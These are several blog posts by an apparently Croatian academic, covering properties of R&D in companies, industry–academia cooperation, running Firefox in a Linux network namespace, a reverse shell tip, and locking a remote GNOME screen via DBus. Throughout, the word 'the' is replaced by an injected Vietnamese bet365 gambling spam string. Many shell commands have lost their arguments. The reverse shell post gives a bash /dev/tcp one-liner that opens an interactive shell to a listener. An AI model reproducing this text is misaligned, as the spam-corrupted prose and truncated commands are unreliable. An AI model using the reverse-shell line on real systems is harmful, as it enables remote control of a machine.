  5. There is uncertainty as to whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re will be positive results, or any results at all.
  6. It is a continuous process.
  7. R&D process requires investment.
Note that when we discuss whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r something is R&D and whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r something produced is a product of R&D cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n we are not requiring that all properties hold, it is enough for a majority to hold! Now, let me discuss each property in a bit more detail.

First, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a property that it adds some new value which can be monetized in some way. I think that this one is obvious. Everything company does has a goal of improving profits. Now, maybe more correctly would be to say that everything company does serves it to fulfill its mission. This view of helping fulfill mission actually broadens potential topics that can be covered by R&D since some results that don't necessarily produce money can also be covered by R&D. But, more on to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 earth, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 company is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re to make profits and if it doesn't do that, than it ceases to exist. So, R&D should support this. I will refer to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 purpose of directly increasing profits as R&D in a narrower sense, while R&D in a broader sense supports company mission. I could cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365orize furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r that R&D in a broader sense is more expensive with less direct ROI and thus more suitable for large enterprises, while R&D in a narrower sense is more suitable for SMEs. Nevercá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365less, in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following text I'll concentrate only on R&D in a narrower sense unless I explicitly say ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise.

The next property of R&D is that a new value produced should not be easy to obtain. In ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r words, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 output of some, supposedly R&D, activity is something that anyone can come up immediately, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it's not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 product of R&D activity and probably cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is no R&D activity at all. This property is desirable for a simple reason that it helps company keep competitive edge. The more a single company has something that ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs don't have, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 more competitive it is and likely cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 more successful. But, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a but. Namely, some outputs of R&D are complex and ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs are deceptively simple. The advantage of having complex products is intuitively easy to understand by anyone, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 simple ones seek some clarification. Namely, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are indeed simple but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process of generating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m isn't simple. You can find examples of such output everywhere. How many times you learned something and your first reaction was: How I did not think of that !? Well, that's because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process to reach it is hard, but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 output itself is simple. Now, it is obvious that copying simple stuff is easy and to prevent that patent system was invented.

The third property is somewhat related to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous one, i.e. R&D is a medium term process. The reason is that short term process is less likely to produce something that fulfills cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous property of not easily replicating results, but ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r properties are also harder to achieve. In ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r words, if you invest brief time into development of something, in general you can expect some simple results. On cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r hand, having a long-term projects allows one to obtain very good, deep, well thought out results, but in a fast paced world it is entirely possible that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 results once obtained, are useless. It also might happen that in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 meantime, due to not having any results, company doing R&D fails and vanishes from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 market. So, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 key is to have a process that is long enough to produce useful results, but not too long for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se results to be useless. Finding sweet spot is more of an art than a science.

The fourth property, that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 R&D process should be done methodologically with clearly defined steps and goals, basically means that certain steps have to be present. For example, goals or requirements must be defined in order to be able to assess whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 result meets goals set at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 beginning or not. Then, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re has to be exploratory step of studying existing work, i.e. repeating what already has been done is definitely not something that leads to good R&D, or R&D at all. If nothing else, where is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 added value required by one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 previous properties? Even worse, it might happen that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 results obtained are worse than what cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs achieved, and potentially use. After all, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current state of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 art was reached through a lot of investments - in terms of time and money. Not to mention that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a problem with patents and it doesn't matter if you something copied or invented on your own. If it is patented, you cannot use it without cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 consent of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 patent holder! To continue with steps that should be present in R&D activity, we also have to mention evaluation of proposed solutions. It is mandatory. This can be done by experiments, simulations, etc. The evaluation must be done in a rigorous way so that it is beyond reasonable doubt that proposed solutions do indeed lead to better results. I'll stop here because I intent to write more about this topic in a separate post that deals with an issue of how to establish R&D.

The fifth property is uncertainty as to whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re will be positive results, or results at all. There is a reason why it is called research and development. If it were not so, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n it would be engineering. Note that sometimes people mistakenly confuse uncertainty in building a new product that could fail on market with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 uncertain results of a research. The two are independent and might interplay in several ways. What we are talking about here is that when doing R&D it might happen that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ideas or goals turn out to be non-feasible. But, this has nothing to do with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fact that if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ideas and goals are feasible, will cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y be successful on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 market or not. Take for example an idea about a system that would allow replacement of programmers. This goal isn't achievable and no R&D activity would be able to produce something like that. But, if it were achievable, it would certainly be huge commercial success. So, care should be taken not to confuse uncertainty of research results with uncertainty of market success.

Finally, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 sixth property of continuity of R&D process is something that should be satisfied in order for R&D to be useful. This follows from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ever-changing environment and improving competition. If some company does one-shot R&D this could help cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 company in a short run, but in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 long run cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re will be no benefit from having R&D.  So, just as company has to continuously adapt to state of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 environment, so R&D has to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re to support necessary changes. There is also one additional reason for continuous R&D process. Namely, it is racá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r expensive to establish R&D process so payoffs are better if R&D is established and allowed to continuously function.

The seventh property I added later, after colleague of mine read cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post and commented that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 R&D process is expensive. After some thought I decided to rephrase it differently, namely R&D process requires investment. I'm still not certain whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r this should be separate property or not because I believe it is implied by combination of previous properties. In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 end, I decided to put it as a separate property, just in case. I should clarify this property a bit. Namely, everything is expensive when we talk about activities in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 company, but it is outweighed by earnings which are immediate, eicá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r direct (e.g. selling a product to a customer) or indirect (e.g. bookkeeping activities). R&D is different in two aspects. First, it requires investment with returns coming only later and in a long run - if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a result from R&D at all (property 5).

In conclusion, I listed six (seven) properties that can be used to determine if some company is doing R&D or it has something it thinks is R&D. Probably those are not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 only properties and if you have any to add (or you think that some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 listed above is not important) please comment and provide your arguments. Anyway, probably not all of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 listed properties will be present in many cases of R&D in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 companies but as I said in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 introduction majority would do. Maybe we can also talk about R&D maturity, i.e. cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 more properties are present, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 more mature process is. But I'll leave this for anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r post.


Wednesday, April 5, 2017

Cooperation between industry, academia and government

This is a first in a series of post (I hope) that will deal with research and development in small and medium enterprises. The reason for me being interested in this topic will be clear after I describe a bit how I got into this. And before I start, let me clearly state that I'm not an expert for economy, management, or even a question of what science is. Everything I say is my personal view at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 moment I wrote cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 blog posts and has nothing to do with anyone else. Especially it is not official position of Faculty or University.

I work on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Faculty of Electrical Engineering, University of Zagreb. My firm belief is that no university can be successful in a long run without being part of a prospective environment. The vice versa also holds, i.e. local economy can not be competitive and successful without support of a good university and colleges. To give an example that support this attitude, Stanford wouldn't be what it is without a brilliant leadership by Fred Terman who's vision helped create Silicon Valley. In essence he created successful local environment that helped Stanford, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 circle was closed.

Yes, we live in a global, highly connected world, and any student can work where ever she/he wants, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same goes for me. Furcá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rmore, anyone can come to Croatia and work here, at least in principle. I can also cooperate with anyone I wish in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 world. After all, just that is supported by EU through different programs, most notably Horizon 2020 which is encouraging EU companies and universities to cooperate. This is good, and necessary, but it is not so perfect for one simple reason, and that is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 question who is paying me, and who is paying for education of students coming to my university? The answer isn't so global, it is actually very local. All that is payed by tax payers in Croatia, and tax payers are individuals and companies living and existing in Croatia!

With all that said, I think it is very important for local economy to grow and I must do as much as I can to help local companies grow and develop for a mutual benefit. And more importantly, I think that anyone in Croatia, working in companies or on universities, has to see things in such a way.

Now, we come to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 question on how to help? The answer is actually quite straightforward, I should do what I'm supposed to do on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 University, i.e. research. The companies should cooperate and contract universities for research in order to become more efficient, to have better and more competitive products and services. The truth is that not many companies have enough resources for research and development. It is a risky and expensive endeavor. So, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 companies should rely on University and on EU funding. Namely, University provides research resources and EU with funding takes a part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 risk. Of all cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 funding available, I'll concentrate on one specific that supports Smart specialization, for several reasons:
  1. I was directly involved in one segment of its preparation.
  2. I'm involved in applications for several projects.
  3. It tries to connect universities and commercial sector.
  4. It isn't meant for large pan-European projects, but projects within a single country. 
Three years ago I was involved in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 development of Smart specialization strategy (S3) of Republic of Croatia. This involvement lasted for about two years, a bit less. Smart specialization is actually something defined by European Commission which stated that each country (or region) has to specialize in something in order for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 EU to be competitive on a global market in a long term. Of course, specialization has to be supported by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current economy, and obviously, it has to be focused. Now, I'm not aware of what ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r countries did, nor did I spent to much time searching around, so what I'm going to write is probably specific to Croatia, and even more specific for cyber security (one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 subareas selected for specialization in Croatia is cyber security which, which is where most of my work is done). One of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 goals of S3 is to encourage commercial, academic and government sectors to cooperate. This should in turn make commercial sector more competitive.

I'm somehow under cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 impression that much was talked about S3 while it was developed, but now when cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 strategy is defined and we have to implement it cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are not so much events, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are any (apart from Ministry of Commerce that actually handles all activities related to S3). For example, I'm not aware of a single round table, workshop, conference or anything else organized by someone concerning S3, how it is progressing, have we learnt something, what can be done better, etc.

In cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following posts I want to delve more into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following very important topics:
  1. What is R&D and why would SMEs should have one?
  2. How to have R&D?
  3. How to get ideas on what to R&D?
  4. How I think companies behave with respect to S3, and in general towards EU projects.

Monday, April 3, 2017

How to run Firefox in a separate network name space

In this post I'll explain how to run Firefox (or any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r application) in a separate network name space. If you wonder why would you do that, here are some reasons:
  1. You connect to a VPN and want a single application to connect via VPN. All cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r applications should access network as usual.
  2. You want to know what network resources specific application does access. For example, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a JavaScript application that runs within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Web browser and you want to monitor it on a network level.
  3. You want to temporarily use anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r IP address, but in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same time keep cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing network configuration because some applications use it and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y wouldn't react well on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 change.
  4. You have alternative connection to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Internet (e.g. one via wired interface, and anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r via LTE) and you want some applications to use LTE, default being wired interface. This is actually variation of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 cases 1 and 3, but obviously it's not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same.
Probably cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are some ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r reasons, too, but I think this is enough to persuade you into advantages of using network namespaces on Linux. And note that you can run two instances of Firefox in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same time. One "normal" in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 "normal" network namespace, and anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r one in new and potentially restricted network namespace. More on that later in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 post.

So, here is how to create new network name space with network interface(s). Note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are several different cases, depending on how you connect to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Internet and what you want to achieve. So, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re will be several subcases. But first, create a new network name space using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following command (as a root user):
# ip netns add
NSNAME will be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network name space. You should use something short and meaningful, i.e. something that will associate you to what cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network namespace is used for. You can check that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a network name space using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following command:
# ip netns list
From this point on we have two subcases:
  • You are connected using wired Ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rnet interface and you can attach new machines to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rnet network.
  • You are connected to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Internet using wireless Ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rnet interface or you are connected to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 wired Ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rnet interface and are not allowed to connect new machines.
All those cases are described in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following subsections.

Wired Ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rnet interface

This is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 easiest case, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re are several options you can use. We'll use macvlan type of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interface that will create a clone of an existing wired Ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rnet interface which will appear on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 physical network with its own parameters. This is, in effect, like attaching a new host on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 local network. Note that if you are not allowed to connect devices to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network, you should use routing method described for wireless interface.

First step is to create new interface:
# ip link add link name type macvlan
The parameters are: ETHIF is your existing Ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rnet interface, while IFNAME is a new interface that will be created. You should cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n move cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interface into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 target network namespace (we assume here that you want to move it to NSNAME):
# ip link set netns
and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you have to activate it:
# ip netns exec ip link set up
note that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 activation has to be done using "ip netns exec" since to access network interface you have to swich to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network namespace where cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interface is! What is left is to assign it an IP address. This can be done statically or via DHCP.

Now that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network part is ready, skip to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 section Starting Firefox.

Wireless LAN

In case you are connected to a wireless LAN, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n macvlan link type will not work, so anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r mechanism is necessary. There are two options, bridging and routing. The problem with bridging is that you have to turn off wireless interface before enslaving it into a bridge. That creates two problems. The first one is that all current TCP connections will break, and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second is that it doesn't play nicely with NetworkManager and similar software. Thus, I'll describe routing case.

First, create pair of virtual Ecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rnet interfaces like this:
ip link add type veth
This will create two new interfaces veth0 and veth1. Those interfaces are actually two ends of a single link. We'll move one interface into anocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r network namespace:
ip link set veth1 netns
Next we'll configure interfaces with IP addresses. I'll use 10.255.255.1/24 for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interface that's left in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 main network namespace (veth0) and 10.255.255.2/24 for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interface in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 NSNAME network name space (veth1):
# ip addr add 10.255.255.1/24 dev veth0
# ip link set dev veth0 up
# ip netns exec ip addr add 10.255.255.2/24 dev veth1
# ip netns exec ip link set dev veth1 up
# ip netns exex ip ro add default via 10.255.255.1
we also need to configure NAT because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 network 10.255.255.0/24 is only used for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 communication of two network namespaces and it should not go outside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 host computer:
# iptables -A POSTROUTING -t nat -o wlp3s0 -s 10.255.255.2 -j MASQUERADE
you should change wlp3s0 with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name of your wireless interface. You should take note of two things in case it doesn't work:
  1. Forwarding has to be enabled. This is achieved/checked via sysctl /proc/sys/net/ipv4/ip_forward (it should contain 1).
  2. Maybe your host has firewall that blocks traffic. To check if that's cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 problem, temporarily disable firewall and try again. Note that disabling a firewall will most likely remove iptables rule you added so you'll have to add it again.

Starting Firefox

Now, when you handled creating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 interface within cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new network name space, to start Firefox (or any ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r application) in it, first you should switch into new network name space. Do this in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following way:
# ip netns exec bash
Note that it is important to do it that way in order to preserve environmental variables, i.e. if you do "su -" or something else, you'll reset environment and you won't be able to start graphical applications. After you got bash shell as a root, switch again to a "normal" user:
su
again, it is very important to preserve network namespace, so you have to use command su as shown. Obviously, substitute userid with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user ID logged into graphical interface. Next, you should start Firefox:
$ firefox &
In case you already have running instance of Firefox that, for whatever reason, you don't wont to stop cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you can start a new instance like this:
$ firefox -P -no-remote&
This will start new instance even though cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re is a running Firefox proces (-no-remote) and present you with a dialog box to choose a profile to run to. You can not use existing profile so it means that you have to create a new one specially for this purpose. The drawback is that your bookmarks, cookies and ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r thing won't be visible in a new instance. 

Tuesday, March 28, 2017

Tip: Quick and dirty reverse remote shell

Here is how to get reverse remote shell. I say reverse because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 remote system is connecting to you. I'll demonstrate it on a single machine for simplicity. So, open a terminal and run cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following command in it:
nc -l 12345
This will start netcat which will listen on port 12345. Then, in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 second terminal, run cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following command:
/bin/bash -c bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
You won't notice anything in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first window where nc command is running, but try to enter some command cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re, e.g. pwd. :) What you've got, is remote shell. Obviously, because of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 way things work you don't get prompt and ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r fancy stuff, but it works and that's important. :)

What you basically did is that you run interactive bash process (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 option -i) with standard error and standard output redirected to /dev/tcp/127.0.0.1/8080 (redirection operator >&) and also standard output being redirected to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same file (cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 last 0>&1). The file being redirected to and from is a special notation for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bash shell that allows it to open connections, i.e. cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 syntax is:
/dev///
More details can be found in bash manual page.

Saturday, February 25, 2017

Lock remote deskop over ssh

I had a seemingly simple problem, connect over SSH to remote computer and lock cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screen. Simple Google search for "gnome lock screen" yielded a plenty of results all of which revolving about using command gnome-screensaver-command -l.  First of, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 package gnome-screensaver isn't installed by default on Fedora, meaning it isn't used cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re. Then, after installing it I got cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following error message:
** Message: Failed to get session bus: Error spawning command line 'dbus-launch --autolaunch=062fabbac04041679f56c8db8593c352 --binary-syntax --close-stderr': Child process exited with code 1
Ok, turns out that session DBus is inaccessible and that gnome-screensaver-command just sends a message over DBus. Using d-feet it was easy to find out object, interface and method to use to lock cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screen, but how to access DBus was a bit harder. The easy part was to find out that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 key is in environment variable DBUS_SESSION_BUS_ADDRESS which has to point to a DBus daemon socket. But harder was to find where this socket is by looking into usual places on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file system. Finally, turned out that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 easiest was to look at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 environment of an existing process and get value from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re, i.e.:
$ cat /proc/`pidof gnome-shell`/environ | \
              tr '\0' '\n' | grep DBUS_SESSION_BUS_ADDRESS
DBUS_SESSION_BUS_ADDRESS=unix:abstract=/tmp/dbus-dl1GC6PYCt,guid=33abd4a9e6bb3dee9262121d5819bdf1
tr command is necessary because entries in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 environment are separated by NULL character (i.e. cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y are strings in C), so we are changing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365m into new line. Finally, grep just takes out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 entry we are interested in. BTW, sorry for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 useless cat use, but it is leftover as I constructed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command. :)

When you have properly set environment variable to access DBus, it is easy to invoke method Lock() that locks cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screen, i.e.:
dbus-send --print-reply --session \
          --type=method_call --reply-timeout=3000 \
          --dest='org.gnome.ScreenSaver' \
          /org/gnome/ScreenSaver \
          org.gnome.ScreenSaver.Lock
and that will lock cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 screen. What's left to do is just to glue everything into a script:
#!/bin/bash
PID=`pidof gnome-shell`
